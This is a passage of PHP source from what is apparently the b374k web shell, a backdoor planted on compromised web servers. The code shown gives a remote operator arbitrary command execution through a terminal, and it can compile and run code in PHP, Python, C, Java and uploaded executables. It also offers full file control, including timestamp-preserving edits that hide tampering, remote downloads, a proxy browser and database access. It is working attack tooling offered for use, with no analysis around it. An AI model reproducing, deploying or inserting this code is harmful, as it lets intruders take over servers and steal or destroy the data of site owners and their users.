  829. $check = strtolower(execute("java -help"));
  830. if(strpos($check,"usage")!==false){
  831. $check = strtolower(execute("javac -help"));
  832. if(strpos($check,"usage")!==false) $eval_supported[] = "java";
  833. }
  834.  
  835. return implode(",", $eval_supported);
  836. }
  837. }
  838.  
  839. if(!function_exists('eval_go')){
  840. function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
  841. $res = "";
  842. $output = "";
  843. if($evalOptions!="") $evalOptions = $evalOptions." ";
  844. if($evalArguments!="") $evalArguments = " ".$evalArguments;
  845.  
  846. if($evalType=="php"){
  847. ob_start();
  848. eval($evalCode);
  849. $res = ob_get_contents();
  850. ob_end_clean();
  851. return $res;
  852. }
  853. elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
  854. $tmpdir = get_writabledir();
  855. chdir($tmpdir);
  856.  
  857. $res .= "Using dir : ".$tmpdir;
  858. if(is_writable($tmpdir)){
  859. $res .= " (writable)\n";
  860. $uniq = substr(md5(time()),0,8);
  861. $filename = $evalType.$uniq;
  862. $path = $filename;
  863. $res .= "Temporary file : ".$path;
  864. if(write_file($path, $evalCode)){
  865. $res .= " (ok)\n";
  866. $res .= "Setting permissions : 0755";
  867. if(chmod($path, 0755)){
  868. $res .= " (ok)\n";
  869. $cmd = $evalType." ".$evalOptions.$path.$evalArguments;
  870. $res .= "Execute : ".$cmd."\n";
  871. $output = execute($cmd);
  872. }
  873. else $res .= " (failed)\n";
  874.  
  875. $res .= "Deleting temporary file : ".$path;
  876. if(unlink($path)) $res .= " (ok)\n";
  877. else $res .= " (failed)\n";
  878. }
  879. else $res .= " (failed)\n";
  880. }
  881. else $res .= " (not writable)\n";
  882.  
  883. $res .= "Finished...";
  884. return $res."{[|b374k|]}".$output;
  885. }
  886. elseif($evalType=="gcc"){
  887. $tmpdir = get_writabledir();
  888. chdir($tmpdir);
  889.  
  890. $res .= "Using dir : ".$tmpdir;
  891. if(is_writable($tmpdir)){
  892. $res .= " (writable)\n";
  893. $uniq = substr(md5(time()),0,8);
  894. $filename = $evalType.$uniq.".c";
  895. $path = $filename;
  896. $res .= "Temporary file : ".$path;
  897. if(write_file($path, $evalCode)){
  898. $res .= " (ok)\n";
  899. $ext = (is_win())? ".exe":".out";
  900. $pathres = $filename.$ext;
  901. $evalOptions = "-o ".$pathres." ".$evalOptions;
  902. $cmd = "gcc ".$evalOptions.$path;
  903. $res .= "Compiling : ".$cmd;
  904. $res .= execute($cmd);
  905. if(is_file($pathres)){
  906. $res .= " (ok)\n";
  907. $res .= "Setting permissions : 0755";
  908. if(chmod($pathres, 0755)){
  909. $res .= " (ok)\n";
  910. $cmd = $pathres.$evalArguments;
  911. $res .= "Execute : ".$cmd."\n";
  912. $output = execute($cmd);
  913. }
  914. else $res .= " (failed)\n";
  915. $res .= "Deleting temporary file : ".$pathres;
  916. if(unlink($pathres)) $res .= " (ok)\n";
  917. else $res .= " (failed)\n";
  918. }
  919. else $res .= " (failed)\n";
  920. $res .= "Deleting temporary file : ".$path;
  921. if(unlink($path)) $res .= " (ok)\n";
  922. else $res .= " (failed)\n";
  923. }
  924. else $res .= " (failed)\n";
  925. }
  926. else $res .= " (not writable)\n";
  927.  
  928. $res .= "Finished...";
  929. return $res."{[|b374k|]}".$output;
  930. }
  931. elseif($evalType=="java"){
  932. $tmpdir = get_writabledir();
  933. chdir($tmpdir);
  934.  
  935. $res .= "Using dir : ".$tmpdir;
  936. if(is_writable($tmpdir)){
  937. $res .= " (writable)\n";
  938.  
  939. if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
  940. $classname = trim($r[1]);
  941. $filename = $classname;
  942. }
  943. else{
  944. $uniq = substr(md5(time()),0,8);
  945. $filename = $evalType.$uniq;
  946. $evalCode = "class ".$filename." { ".$evalCode . " } ";
  947. }
  948.  
  949. $path = $filename.".java";
  950. $res .= "Temporary file : ".$path;
  951. if(write_file($path, $evalCode)){
  952. $res .= " (ok)\n";
  953. $cmd = "javac ".$evalOptions.$path;
  954. $res .= "Compiling : ".$cmd;
  955. $res .= execute($cmd);
  956. $pathres = $filename.".class";
  957. if(is_file($pathres)){
  958. $res .= " (ok)\n";
  959. $res .= "Setting permissions : 0755";
  960. if(chmod($pathres, 0755)){
  961. $res .= " (ok)\n";
  962. $cmd = "java ".$filename.$evalArguments;
  963. $res .= "Execute : ".$cmd."\n";
  964. $output = execute($cmd);
  965. }
  966. else $res .= " (failed)\n";
  967. $res .= "Deleting temporary file : ".$pathres;
  968. if(unlink($pathres)) $res .= " (ok)\n";
  969. else $res .= " (failed)\n";
  970. }
  971. else $res .= " (failed)\n";
  972. $res .= "Deleting temporary file : ".$path;
  973. if(unlink($path)) $res .= " (ok)\n";
  974. else $res .= " (failed)\n";
  975. }
  976. else $res .= " (failed)\n";
  977. }
  978. else $res .= " (not writable)\n";
  979.  
  980. $res .= "Finished...";
  981. return $res."{[|b374k|]}".$output;
  982. }
  983. elseif($evalType=="executable"){
  984. $tmpdir = get_writabledir();
  985. chdir($tmpdir);
  986.  
  987. $res .= "Using dir : ".$tmpdir;
  988. if(is_writable($tmpdir)){
  989. $res .= " (writable)\n";
  990. $uniq = substr(md5(time()),0,8);
  991. $filename = $evalType.$uniq.".exe";
  992. $path = $filename;
  993. $res .= "Temporary file : ".$path;
  994. if(write_file($path, $evalCode)){
  995. $res .= " (ok)\n";
  996. $cmd = $path.$evalArguments;
  997. $res .= "Execute : ".$cmd."\n";
  998. $output = execute($cmd);
  999.  
  1000. $res .= "Deleting temporary file : ".$path;
  1001. if(unlink($path)) $res .= " (ok)\n";
  1002. else $res .= " (failed)\n";
  1003. }
  1004. else $res .= " (failed)\n";
  1005. }
  1006. else $res .= " (not writable)\n";
  1007.  
  1008. $res .= "Finished...";
  1009. return $res."{[|b374k|]}".$output;
  1010. }
  1011. return false;
  1012. }
  1013. }
  1014.  
  1015. if(!function_exists('output')){
  1016. function output($str){
  1017. $error = @ob_get_contents();
  1018. @ob_end_clean();
  1019. header("Content-Type: text/plain");
  1020. header("Cache-Control: no-cache");
  1021. header("Pragma: no-cache");
  1022. echo $str;
  1023. die();
  1024. }
  1025. }
  1026.  
  1027. block_bot();
  1028. auth();
  1029. chdir(get_cwd());
  1030. $nav = get_nav(get_cwd());
  1031. $p = array_map("rawurldecode", get_post());
  1032. $cwd = html_safe(get_cwd());
  1033. $GLOBALS['module'] = array();
  1034.  
  1035. $explorer_content = "";
  1036. if(isset($p['viewEntry'])){
  1037. $path = trim($p['viewEntry']);
  1038. if(is_file($path)){
  1039. $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
  1040. setcookie("cwd", $dirname);
  1041. chdir($dirname);
  1042. $nav = get_nav($dirname);
  1043. $cwd = html_safe($dirname);
  1044. $explorer_content = view_file($path, "auto");
  1045. }
  1046. elseif(is_dir($path)){
  1047. $path = realpath($path).DIRECTORY_SEPARATOR;
  1048. setcookie("cwd", $path);
  1049. chdir($path);
  1050. $nav = get_nav($path);
  1051. $cwd = html_safe($path);
  1052. $explorer_content = show_all_files($path);
  1053. }
  1054. }
  1055. else $explorer_content = show_all_files(get_cwd());
  1056.  
  1057. $GLOBALS['module']['explorer']['id'] = "explorer";
  1058. $GLOBALS['module']['explorer']['title'] = "Explorer";
  1059. $GLOBALS['module']['explorer']['js_ontabselected'] = "";
  1060. $GLOBALS['module']['explorer']['content'] = $explorer_content;
  1061.  
  1062.  
  1063. $GLOBALS['module']['proxy']['id'] = "proxy";
  1064. $GLOBALS['module']['proxy']['title'] = "Browser";
  1065. $GLOBALS['module']['proxy']['js_ontabselected'] = "";
  1066. $GLOBALS['module']['proxy']['content'] = "
  1067. if((!portableMode) && ($('#proxyOutput').html()=='You can also press ctrl+enter to submit')) $('#proxyInput').focus();";
  1068. $GLOBALS['module']['proxy']['content'] = "
  1069. <script type=\"text/javascript\">
  1070. var df,obj;
  1071. function init() {
  1072.  
  1073. df=document.forms[0];
  1074. df[0].value='proxy.php?mode=native&user-agent=mozilla&send_session=1&send_cookie=1&url=';
  1075. df.onsubmit=function(){
  1076. return false;
  1077. }
  1078. obj=document.getElementById('myframe');
  1079.  
  1080. window.addEventListener?
  1081. document.body.addEventListener('keyup',gothere,false):
  1082. document.body.attachEvent('onkeyup',gothere);
  1083. }
  1084.  
  1085. function gothere(event) {
  1086.  
  1087. if((!navigator.language)&&(event.keyCode==13)) {
  1088. obj.src=df[0].value;
  1089. obj.className='';
  1090. return false;
  1091. }
  1092. else {
  1093. if(event.which==13) {
  1094. obj.src=df[0].value;
  1095. obj.className='';
  1096. return false;
  1097. }
  1098. }
  1099. }
  1100. window.addEventListener?
  1101. window.addEventListener('load',init,false):
  1102. window.attachEvent('onload',init);
  1103.  
  1104. </script>
  1105. <table class='boxtbl'>
  1106. <thead>
  1107. <tr><th colspan='4'><p class='boxtitle'>Simple HTTP Browser</p></th></tr>
  1108. </thead>
  1109. <tbody>
  1110.  
  1111.  
  1112. <tr>
  1113. <td style='width:800px;'>
  1114. <form action=\"#\">
  1115. <div>
  1116. <input width='400' type=\"text\" value=\"proxy.php?mode=native&user-agent=mozilla&send_session=1&send_cookie=1&url=\">
  1117. </div>
  1118. </form>
  1119. </td>
  1120. <td colspan='3'>
  1121. Must have http:// in the beginning. Supports http only.
  1122. </td>
  1123. </tr>
  1124. <tr><td colspan='100' ><div>
  1125. <iframe id=\"myframe\" src=\"/proxy.php?mode=native&user-agent=mozilla&send_session=1&send_cookie=1&url=\" frameborder=\"0\" scrolling=\"auto\" height='600' width='1000'></iframe>
  1126. </div></td></tr>
  1127.  
  1128. <tr><td colspan='4'><pre>Simple HTTP Browser</pre></td</tr>
  1129. </tbody>
  1130. </table>
  1131. ";
  1132.  
  1133. $GLOBALS['module']['terminal']['id'] = "terminal";
  1134. $GLOBALS['module']['terminal']['title'] = "Terminal";
  1135. $GLOBALS['module']['terminal']['js_ontabselected'] = "
  1136. if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
  1137. $GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";
  1138.  
  1139.  
  1140. $GLOBALS['module']['eval']['id'] = "eval";
  1141. $GLOBALS['module']['eval']['title'] = "Eval";
  1142. $GLOBALS['module']['eval']['js_ontabselected'] = "
  1143. if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
  1144. $GLOBALS['module']['eval']['content'] = "
  1145. <table class='boxtbl'>
  1146. <thead>
  1147. <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>
  1148. </thead>
  1149. <tbody>
  1150. <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>
  1151.  
  1152. <tr id='evalAdditional'><td colspan='4'>
  1153. <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1154. <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">
  1155. </td></tr>
  1156.  
  1157. <tr>
  1158. <td style='width:144px;'>
  1159. <select id='evalType'>
  1160.  
  1161. </select>
  1162. </td>
  1163. <td colspan='3'>
  1164. <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>
  1165. </td>
  1166. </tr>
  1167.  
  1168. <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>
  1169. </tbody>
  1170. </table>
  1171. ";
  1172.  
  1173. $res = "";
  1174. if(isset($p['cd'])){
  1175. $path = $p['cd'];
  1176. if(trim($path)=='') $path = dirname(__FILE__);
  1177.  
  1178. $path = realpath($path);
  1179. if(is_file($path)) $path = dirname($path);
  1180. if(is_dir($path)){
  1181. chdir($path);
  1182. $path = $path.DIRECTORY_SEPARATOR;
  1183. setcookie("cwd", $path);
  1184. $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
  1185. if(isset($p['showfiles'])&&($p['showfiles']=='true')){
  1186. $res .= show_all_files($path);
  1187. }
  1188. }
  1189. else $res = "error";
  1190. output($res);
  1191. }
  1192. elseif(isset($p['viewFile']) && isset($p['viewType'])){
  1193. $path = trim($p['viewFile']);
  1194. $type = trim($p['viewType']);
  1195. $preserveTimestamp = trim($p['preserveTimestamp']);
  1196. if(is_file($path)){
  1197. $res = view_file($path, $type, $preserveTimestamp);
  1198. }
  1199. else $res = "error";
  1200. output($res);
  1201. }
  1202. elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
  1203. $renameFile = trim($p['renameFile']);
  1204. $renameFileTo = trim($p['renameFileTo']);
  1205. if(file_exists($renameFile)){
  1206. if(rename($renameFile, $renameFileTo)){
  1207. $res = dirname($renameFileTo);
  1208. }
  1209. else $res = "error";
  1210. }
  1211. else $res = "error";
  1212. output($res);
  1213. }
  1214. elseif(isset($p['newFolder'])){
  1215. $newFolder = trim($p['newFolder']);
  1216. if(mkdir($newFolder)){
  1217. $res = dirname($newFolder);
  1218. }
  1219. else $res = "error";
  1220. output($res);
  1221. }
  1222. elseif(isset($p['newFile'])){
  1223. $newFile = trim($p['newFile']);
  1224. if(touch($newFile)){
  1225. $res = dirname($newFile);
  1226. }
  1227. else $res = "error";
  1228. output($res);
  1229. }
  1230. elseif(isset($p['delete'])){
  1231. $path = trim($p['delete']);
  1232. $dirname = dirname($path);
  1233. if(is_file($path)){
  1234. if(unlink($path)) $res = $dirname;
  1235. }
  1236. elseif(is_dir($path)){
  1237. if(rmdirs($path)>0) $res = $dirname;
  1238. }
  1239. else $res = "error";
  1240. if(file_exists($path)) $res = "error";
  1241. output($res);
  1242. }
  1243. elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
  1244. $editFilename = trim($p['editFilename']);
  1245. $editInput = trim($p['editInput']);
  1246. $editType = trim($p['editType']);
  1247. $preserveTimestamp = trim($p['preserveTimestamp']);
  1248. $time = filemtime($editFilename);
  1249. if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
  1250. if(write_file($editFilename, $editInput)){
  1251. $res = $editFilename;
  1252. if($preserveTimestamp=='true') touch($editFilename, $time);
  1253. }
  1254. else $res = "error";
  1255. output($res);
  1256. }
  1257. elseif(isset($p['findType'])){
  1258. $findType = trim($p['findType']);
  1259. $findPath = trim($p['findPath']);
  1260. $findName = trim($p['findName']);
  1261. $findNameRegex = trim($p['findNameRegex']);
  1262. $findNameInsensitive = trim($p['findNameInsensitive']);
  1263. $findContent = trim($p['findContent']);
  1264. $findContentRegex = trim($p['findContentRegex']);
  1265. $findContentInsensitive = trim($p['findContentInsensitive']);
  1266. $findReadable = trim($p['findReadable']);
  1267. $findWritable = trim($p['findWritable']);
  1268. $findExecutable = trim($p['findExecutable']);
  1269.  
  1270. $candidate = get_all_files($findPath);
  1271. if($findType=='file') $candidate = array_filter($candidate, "is_file");
  1272. elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
  1273. else $res = "error";
  1274.  
  1275. foreach($candidate as $k){
  1276. if(($findType=="file")||($findType=="folder")){
  1277. if(!empty($findName)){
  1278. if($findNameRegex=="true"){
  1279. $case = ($findNameInsensitive=="true")? "i":"";
  1280. if(!preg_match("/".$findName."/".$case, basename($k))){
  1281. $candidate = array_diff($candidate, array($k));
  1282. }
  1283. }
  1284. else{
  1285. $check = false;
  1286. if($findNameInsensitive=="true"){
  1287. $check = strpos(strtolower(basename($k)), strtolower($findName))===false;
  1288. }
  1289. else{
  1290. $check = strpos(basename($k), $findName)===false;
  1291. }
  1292.  
  1293. if($check){
  1294. $candidate = array_diff($candidate, array($k));
  1295. }
  1296. }
  1297. }
  1298. }
  1299. if($findType=="file"){
  1300. if(!empty($findContent)){
  1301. $content = read_file($k);
  1302. if($findContentRegex=="true"){
  1303. $case = ($findContentInsensitive=="true")? "i":"";
  1304. if(!preg_match("/".$findContent."/".$case, $content)){
  1305. $candidate = array_diff($candidate, array($k));
  1306. }
  1307. }
  1308. else{
  1309. $check = false;
  1310. if($findContentInsensitive=="true"){
  1311. $check = strpos(strtolower($content), strtolower($findContent))===false;
  1312. }
  1313. else{
  1314. $check = strpos($content, $findContent)===false;
  1315. }
  1316. if($check){
  1317. $candidate = array_diff($candidate, array($k));
  1318. }
  1319. }
  1320. }
  1321. }
  1322. }
  1323.  
  1324. foreach($candidate as $k){
  1325. if($findReadable=="true"){
  1326. if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
  1327. }
  1328. if($findWritable=="true"){
  1329. if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
  1330. }
  1331. if($findExecutable=="true"){
  1332. if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
  1333. }
  1334. }
  1335.  
  1336. if(count($candidate)>0){
  1337. $res = "";
  1338. foreach($candidate as $k){
  1339. $res .= "<p><span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>";
  1340. }
  1341. }
  1342. else $res = "";
  1343. output($res);
  1344. }
  1345. elseif(isset($p['ulType'])){
  1346. $ulSaveTo = trim($p['ulSaveTo']);
  1347. $ulFilename = trim($p['ulFilename']);
  1348.  
  1349. if($p['ulType']=='comp'){
  1350. $ulFile = $_FILES['ulFile'];
  1351. if(empty($ulFilename)) $ulFilename = $ulFile['name'];
  1352.  
  1353. if(is_uploaded_file($ulFile['tmp_name'])){
  1354. if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1355. $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1356. if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
  1357. $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1358. }
  1359. else $res = "error";
  1360. }
  1361. else $res = "error";
  1362. }
  1363. elseif($p['ulType']=='url'){
  1364. $ulFile = trim($p['ulFile']);
  1365. if(empty($ulFilename)) $ulFilename = basename($ulFile);
  1366. if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
  1367. $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
  1368.  
  1369. if(download($ulFile, $newfile)){
  1370. $res = "<span class='strong'>&gt;</span>&nbsp;<a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a>&nbsp;( 100% )";
  1371. }
  1372. else $res = "error";
  1373. }
  1374. else $res = "error";
  1375. output($res);
  1376. }
  1377. elseif(isset($p['download'])){
  1378. $file = trim($p['download']);
  1379. if(is_file($file)){
  1380. header("Content-Type: application/octet-stream");
  1381. header('Content-Transfer-Encoding: binary');
  1382. header("Content-length: ".filesize($file));
  1383. header("Cache-Control: no-cache");
  1384. header("Pragma: no-cache");
  1385. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  1386. $handler = fopen($file,"rb");
  1387. while(!feof($handler)){
  1388. print(fread($handler, 1024*8));
  1389. @ob_flush();
  1390. @flush();
  1391. }
  1392. fclose($handler);
  1393. die();
  1394. }
  1395. }
  1396. elseif(isset($p['multimedia'])){
  1397. $file = trim($p['multimedia']);
  1398. $mime_list = get_resource('mime');
  1399. $mime = "";
  1400. $file_ext_pos = strrpos($file, ".");
  1401. if($file_ext_pos!==false){
  1402. $file_ext = trim(substr($file, $file_ext_pos),".");
  1403. if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  1404. $mime = $res[1];
  1405. }
  1406. }
  1407.  
  1408. if(is_file($file)){
  1409. header("Content-Type: ".$mime);
  1410. header('Content-Transfer-Encoding: binary');
  1411. header("Content-length: ".filesize($file));
  1412. echo "data:".$mime.";base64,".base64_encode(read_file($file));
  1413. die();
  1414. }
  1415. }
  1416. elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
  1417. $massType = trim($p['massType']);
  1418. $massBuffer = trim($p['massBuffer']);
  1419. $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
  1420. $massValue = trim($p['massValue']);
  1421. $counter = 0;
  1422.  
  1423. $massBufferArr = explode("\n", $massBuffer);
  1424. if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
  1425. if(compress($massType, $massValue, $massBufferArr)){
  1426. $counter++;
  1427. return $counter;
  1428. }
  1429. }
  1430. else{
  1431. foreach($massBufferArr as $k){
  1432. $path = trim($k);
  1433. if(file_exists($path)){
  1434. $preserveTimestamp = filemtime($path);
  1435. if($massType=='delete'){
  1436. if(is_file($path)){
  1437. if(unlink($path)) $counter++;
  1438. }
  1439. elseif(is_dir($path)){
  1440. if(rmdirs($path)>0) $counter++;
  1441. }
  1442. }
  1443. elseif($massType=='cut'){
  1444. $dest = $massPath.basename($path);
  1445. if(rename($path, $dest)){
  1446. $counter++;
  1447. touch($dest, $preserveTimestamp);
  1448. }
  1449. }
  1450. elseif($massType=='copy'){
  1451. $dest = $massPath.basename($path);
  1452. if(is_dir($path)){
  1453. if(copys($path, $dest)>0) $counter++;
  1454. }
  1455. elseif(is_file($path)){
  1456. if(copy($path, $dest)) $counter++;
  1457. }
  1458. }
  1459. elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){
  1460. if(decompress($massType, $path, $massValue)){
  1461. $counter++;
  1462. return $counter;
  1463. }
  1464. }
  1465. elseif(!empty($massValue)){
  1466. if($massType=='chmod'){
  1467. if(chmod($path, octdec($massValue))) $counter++;
  1468. }
  1469. elseif($massType=='chown'){
  1470. if(chown($path, $massValue)) $counter++;
  1471. }
  1472. elseif($massType=='touch'){
  1473. if(touch($path, strtotime($massValue))) $counter++;
  1474. }
  1475. }
  1476. }
  1477. }
  1478. }
  1479. if($counter>0) output($counter);
  1480. output('error');
  1481. }
  1482. elseif(isset($p['viewFileorFolder'])){
  1483. $entry = $p['viewFileorFolder'];
  1484. if(is_file($entry)) output('file');
  1485. elseif(is_dir($entry)) output('folder');
  1486. output('error');
  1487. }
  1488. elseif(isset($p['terminalInput'])){
  1489. output(html_safe(execute($p['terminalInput'])));
  1490. }
  1491. elseif(isset($p['evalInput']) && isset($p['evalType'])){
  1492. $evalInput = $p['evalInput'];
  1493. $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:"";
  1494. $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:"";
  1495. $evalType = $p['evalType'];
  1496.  
  1497. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  1498. @ini_set('html_errors','0');
  1499. @ini_set('display_errors','1');
  1500. @ini_set('display_startup_errors','1');
  1501.  
  1502. $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
  1503. if($res===false) $res == "error";
  1504. output(html_safe($res));
  1505. }
  1506. elseif(isset($p['evalGetSupported'])){
  1507. $res = eval_get_supported();
  1508. output($res);
  1509. }
  1510. $GLOBALS['module']['convert']['id'] = "convert";
  1511. $GLOBALS['module']['convert']['title'] = "Convert";
  1512. $GLOBALS['module']['convert']['js_ontabselected'] = "
  1513. if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();";
  1514. $GLOBALS['module']['convert']['content'] = "
  1515. <table class='boxtbl'>
  1516. <thead>
  1517. <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr>
  1518. </thead>
  1519. <tbody>
  1520. <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr>
  1521. <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr>
  1522. </tbody>
  1523. <tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot>
  1524. </table>";
  1525.  
  1526. if(!function_exists('decode')){
  1527. function decode($str){
  1528. $res = "";
  1529. $length = (int) strlen($str);
  1530.  
  1531. $res .= decode_line("md5", md5($str), "input");
  1532. $res .= decode_line("sha1", sha1($str), "input");
  1533.  
  1534. $res .= decode_line("base64 encode", base64_encode($str), "textarea");
  1535. $res .= decode_line("base64 decode", base64_decode($str), "textarea");
  1536.  
  1537.  
  1538. $res .= decode_line("hex to string", @pack("H*" , $str), "textarea");
  1539. $res .= decode_line("string to hex", bin2hex($str), "textarea");
  1540.  
  1541. $ascii = "";
  1542. for($i=0; $i<$length; $i++){
  1543. $ascii .= ord(substr($str,$i,1))." ";
  1544. }
  1545. $res .= decode_line("ascii char", trim($ascii), "textarea");
  1546.  
  1547. $res .= decode_line("reversed", strrev($str), "textarea");
  1548. $res .= decode_line("lowercase", strtolower($str), "textarea");
  1549. $res .= decode_line("uppercase", strtoupper($str), "textarea");
  1550.  
  1551. $res .= decode_line("urlencode", urlencode($str), "textarea");
  1552. $res .= decode_line("urldecode", urldecode($str), "textarea");
  1553. $res .= decode_line("rawurlencode", rawurlencode($str), "textarea");
  1554. $res .= decode_line("rawurldecode", rawurldecode($str), "textarea");
  1555.  
  1556. $res .= decode_line("htmlentities", html_safe($str), "textarea");
  1557.  
  1558. if(function_exists('hash_algos')){
  1559. $algos = hash_algos();
  1560. foreach($algos as $algo){
  1561. if(($algo=='md5')||($algo=='sha1')) continue;
  1562. $res .= decode_line($algo, hash($algo, $str), "input");
  1563. }
  1564. }
  1565.  
  1566. return $res;
  1567. }
  1568. }
  1569.  
  1570. if(!function_exists('decode_line')){
  1571. function decode_line($type, $result, $inputtype){
  1572. $res = "<tr><td class='colFit'>".$type."</td><td>";
  1573. if($inputtype=='input'){
  1574. $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>";
  1575. }
  1576. else{
  1577. $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>";
  1578. }
  1579. return $res;
  1580. }
  1581. }
  1582.  
  1583. if(isset($p['decodeStr'])){
  1584. $decodeStr = $p['decodeStr'];
  1585. output(decode($decodeStr));
  1586. }
  1587. $GLOBALS['module']['database']['id'] = "database";
  1588. $GLOBALS['module']['database']['title'] = "Database";
  1589. $GLOBALS['module']['database']['js_ontabselected'] = "";
  1590. $GLOBALS['module']['database']['content'] = "
  1591. <table class='boxtbl'>
  1592. <thead>
  1593. <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
  1594. </thead>
  1595. <tbody>
  1596. <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1597. <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1598. <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1599. <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  1600. </tbody>
  1601. <tfoot>
  1602. <tr class='dbConnectRow'>
  1603. <td style='width:144px;'>
  1604. <select id='dbType'>
  1605. </select>
  1606. </td>
  1607. <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
  1608. <td class='dbError'></td>
  1609. </tr>
  1610. <tr class='dbQueryRow' style='display:none;'>
  1611. <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
  1612. </tr>
  1613. <tr class='dbQueryRow' style='display:none;'>
  1614. <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
  1615. <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
  1616. <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
  1617. </tr>
  1618. </tfoot>
  1619. </table>
  1620. <div id='dbBottom' style='display:none;'>
  1621. <br>
  1622. <table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
  1623. </div>
  1624. ";
  1625.  
  1626. if(!function_exists('sql_connect')){
  1627. function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
  1628. if($sqltype == 'mysql'){
  1629. if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
  1630. elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
  1631. }
  1632. elseif($sqltype == 'mssql'){
  1633. if(function_exists('sqlsrv_connect')){
  1634. $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
  1635. return @sqlsrv_connect($sqlhost,$coninfo);
  1636. }
  1637. elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
  1638. }
  1639. elseif($sqltype == 'pgsql'){
  1640. $hosts = explode(":", $sqlhost);
  1641. if(count($hosts)==2){
  1642. $host_str = "host=".$hosts[0]." port=".$hosts[1];
  1643. }
  1644. else $host_str = "host=".$sqlhost;
  1645. if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
  1646. }
  1647. elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
  1648. elseif($sqltype == 'sqlite3'){
  1649. if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
  1650. else return false;
  1651. }
